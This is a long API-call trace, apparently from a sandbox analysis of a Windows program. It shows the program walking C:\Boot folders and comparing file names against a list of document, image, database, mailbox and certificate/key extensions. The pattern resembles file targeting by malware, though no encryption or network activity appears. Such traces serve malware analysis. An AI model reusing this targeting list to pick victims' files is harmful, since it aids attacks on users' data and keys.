	[0166.459] lstrlenW (lpString=".emz") returned 4
	[0166.459] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".epf") returned 4
	[0166.459] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".eps") returned 4
	[0166.459] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0166.459] lstrlenW (lpString=".epsf") returned 5
	[0166.459] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1
	[0166.459] lstrlenW (lpString=".epsp") returned 5
	[0166.459] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0166.460] lstrlenW (lpString=".erf") returned 4
	[0166.460] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".exr") returned 4
	[0166.460] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".f4v") returned 4
	[0166.460] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".fido") returned 5
	[0166.460] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0166.460] lstrlenW (lpString=".flm") returned 4
	[0166.460] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".flv") returned 4
	[0166.460] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".frm") returned 4
	[0166.460] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".fxg") returned 4
	[0166.460] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".geo") returned 4
	[0166.460] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".gif") returned 4
	[0166.460] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".grs") returned 4
	[0166.460] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0166.460] lstrlenW (lpString=".gz") returned 3
	[0166.460] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0166.460] lstrlenW (lpString=".h") returned 2
	[0166.461] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0166.461] lstrlenW (lpString=".hdr") returned 4
	[0166.461] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".hpp") returned 4
	[0166.461] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".hta") returned 4
	[0166.461] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".htc") returned 4
	[0166.461] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".htm") returned 4
	[0166.461] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".html") returned 5
	[0166.461] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0166.461] lstrlenW (lpString=".icb") returned 4
	[0166.461] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".ics") returned 4
	[0166.461] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".iff") returned 4
	[0166.461] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".inc") returned 4
	[0166.461] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0166.461] lstrlenW (lpString=".indd") returned 5
	[0166.461] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0166.461] lstrlenW (lpString=".ini") returned 4
	[0166.461] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".iqy") returned 4
	[0166.462] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".j2c") returned 4
	[0166.462] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".j2k") returned 4
	[0166.462] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".java") returned 5
	[0166.462] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0166.462] lstrlenW (lpString=".jp2") returned 4
	[0166.462] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".jpc") returned 4
	[0166.462] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".jpe") returned 4
	[0166.462] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".jpeg") returned 5
	[0166.462] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0166.462] lstrlenW (lpString=".jpf") returned 4
	[0166.462] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".jpg") returned 4
	[0166.462] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".jpx") returned 4
	[0166.462] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0166.462] lstrlenW (lpString=".js") returned 3
	[0166.462] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0166.462] lstrlenW (lpString=".jsf") returned 4
	[0166.463] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".json") returned 5
	[0166.463] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0166.463] lstrlenW (lpString=".jsp") returned 4
	[0166.463] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".kdc") returned 4
	[0166.463] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".kmz") returned 4
	[0166.463] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".kwm") returned 4
	[0166.463] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".lasso") returned 6
	[0166.463] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0166.463] lstrlenW (lpString=".lbi") returned 4
	[0166.463] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".lgf") returned 4
	[0166.463] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".lgp") returned 4
	[0166.463] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".log") returned 4
	[0166.463] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".m1v") returned 4
	[0166.463] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".m4a") returned 4
	[0166.463] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0166.463] lstrlenW (lpString=".m4v") returned 4
	[0166.464] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".max") returned 4
	[0166.464] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".md") returned 3
	[0166.464] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0166.464] lstrlenW (lpString=".mda") returned 4
	[0166.464] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mdb") returned 4
	[0166.464] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mde") returned 4
	[0166.464] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mdf") returned 4
	[0166.464] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mdw") returned 4
	[0166.464] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mef") returned 4
	[0166.464] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mft") returned 4
	[0166.464] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mfw") returned 4
	[0166.464] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mht") returned 4
	[0166.464] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0166.464] lstrlenW (lpString=".mhtml") returned 6
	[0166.464] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0166.465] lstrlenW (lpString=".mka") returned 4
	[0166.465] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0166.465] lstrlenW (lpString=".mkidx") returned 6
	[0166.465] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0166.465] lstrlenW (lpString=".mkv") returned 4
	[0166.465] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0166.465] lstrlenW (lpString=".mos") returned 4
	[0166.465] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0166.465] lstrlenW (lpString=".mov") returned 4
	[0166.654] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0166.654] lstrlenW (lpString=".mp3") returned 4
	[0166.654] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0166.654] lstrlenW (lpString=".mp4") returned 4
	[0166.654] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0166.654] lstrlenW (lpString=".mpeg") returned 5
	[0166.654] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0166.654] lstrlenW (lpString=".mpg") returned 4
	[0166.654] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0166.654] lstrlenW (lpString=".mpv") returned 4
	[0166.655] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0166.655] lstrlenW (lpString=".mrw") returned 4
	[0166.655] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0166.655] lstrlenW (lpString=".msg") returned 4
	[0166.655] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0166.655] lstrlenW (lpString=".mxl") returned 4
	[0166.655] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".myd") returned 4
	[0166.655] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".myi") returned 4
	[0166.655] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".nef") returned 4
	[0166.655] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".nrw") returned 4
	[0166.655] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".obj") returned 4
	[0166.655] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".odb") returned 4
	[0166.655] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".odc") returned 4
	[0166.655] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".odm") returned 4
	[0166.655] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".odp") returned 4
	[0166.655] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0166.655] lstrlenW (lpString=".ods") returned 4
	[0166.656] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".oft") returned 4
	[0166.656] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".one") returned 4
	[0166.656] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".onepkg") returned 7
	[0166.656] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0166.656] lstrlenW (lpString=".onetoc2") returned 8
	[0166.656] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0166.656] lstrlenW (lpString=".opt") returned 4
	[0166.656] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".oqy") returned 4
	[0166.656] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".orf") returned 4
	[0166.656] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".p12") returned 4
	[0166.656] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".p7b") returned 4
	[0166.656] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".p7c") returned 4
	[0166.656] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".pam") returned 4
	[0166.656] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0166.656] lstrlenW (lpString=".pbm") returned 4
	[0166.656] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pct") returned 4
	[0166.657] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pcx") returned 4
	[0166.657] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pdd") returned 4
	[0166.657] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pdf") returned 4
	[0166.657] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pdp") returned 4
	[0166.657] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pef") returned 4
	[0166.657] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pem") returned 4
	[0166.657] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pff") returned 4
	[0166.657] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pfm") returned 4
	[0166.657] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pfx") returned 4
	[0166.657] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".pgm") returned 4
	[0166.657] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".php") returned 4
	[0166.657] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0166.657] lstrlenW (lpString=".php3") returned 5
	[0166.657] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0166.658] lstrlenW (lpString=".php4") returned 5
	[0166.658] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0166.658] lstrlenW (lpString=".php5") returned 5
	[0166.658] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0166.658] lstrlenW (lpString=".phtml") returned 6
	[0166.658] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0166.658] lstrlenW (lpString=".pict") returned 5
	[0166.658] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0166.658] lstrlenW (lpString=".pl") returned 3
	[0166.658] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0166.658] lstrlenW (lpString=".pls") returned 4
	[0166.658] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0166.658] lstrlenW (lpString=".pm") returned 3
	[0166.658] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0166.658] lstrlenW (lpString=".png") returned 4
	[0166.658] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0166.658] lstrlenW (lpString=".pnm") returned 4
	[0166.658] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0166.658] lstrlenW (lpString=".pot") returned 4
	[0166.658] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0166.658] lstrlenW (lpString=".potm") returned 5
	[0166.658] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0166.658] lstrlenW (lpString=".potx") returned 5
	[0166.658] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0166.658] lstrlenW (lpString=".ppa") returned 4
	[0166.658] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".ppam") returned 5
	[0166.659] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0166.659] lstrlenW (lpString=".ppm") returned 4
	[0166.659] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".pps") returned 4
	[0166.659] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".ppsm") returned 5
	[0166.659] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0166.659] lstrlenW (lpString=".ppt") returned 4
	[0166.659] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".pptm") returned 5
	[0166.659] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0166.659] lstrlenW (lpString=".pptx") returned 5
	[0166.659] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0166.659] lstrlenW (lpString=".prn") returned 4
	[0166.659] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".ps") returned 3
	[0166.659] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0166.659] lstrlenW (lpString=".psb") returned 4
	[0166.659] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".psd") returned 4
	[0166.659] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".pst") returned 4
	[0166.659] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0166.659] lstrlenW (lpString=".ptx") returned 4
	[0166.660] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0166.660] lstrlenW (lpString=".pub") returned 4
	[0166.660] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0166.660] lstrlenW (lpString=".pwm") returned 4
	[0166.660] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0166.660] lstrlenW (lpString=".pxr") returned 4
	[0166.660] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0166.660] lstrlenW (lpString=".py") returned 3
	[0166.660] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0166.660] lstrlenW (lpString=".qt") returned 3
	[0166.660] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0166.660] lstrlenW (lpString=".r3d") returned 4
	[0166.660] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0166.660] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0166.660] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0166.660] FindClose (in: hFindFile=0x6ac058 | out: hFindFile=0x6ac058) returned 1
	[0166.660] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4420730 | out: hHeap=0x610000) returned 1
	[0166.660] FindNextFileW (in: hFindFile=0x6aba18, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0166.661] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4420730
	[0166.661] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName=".", cAlternateFileName="")) returned 0x6ac058
	[0166.664] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="..", cAlternateFileName="")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0166.665] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0166.666] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0166.666] FindNextFileW (in: hFindFile=0x6ac058, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0xffffcbaf, dwReserved1=0x14c7, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
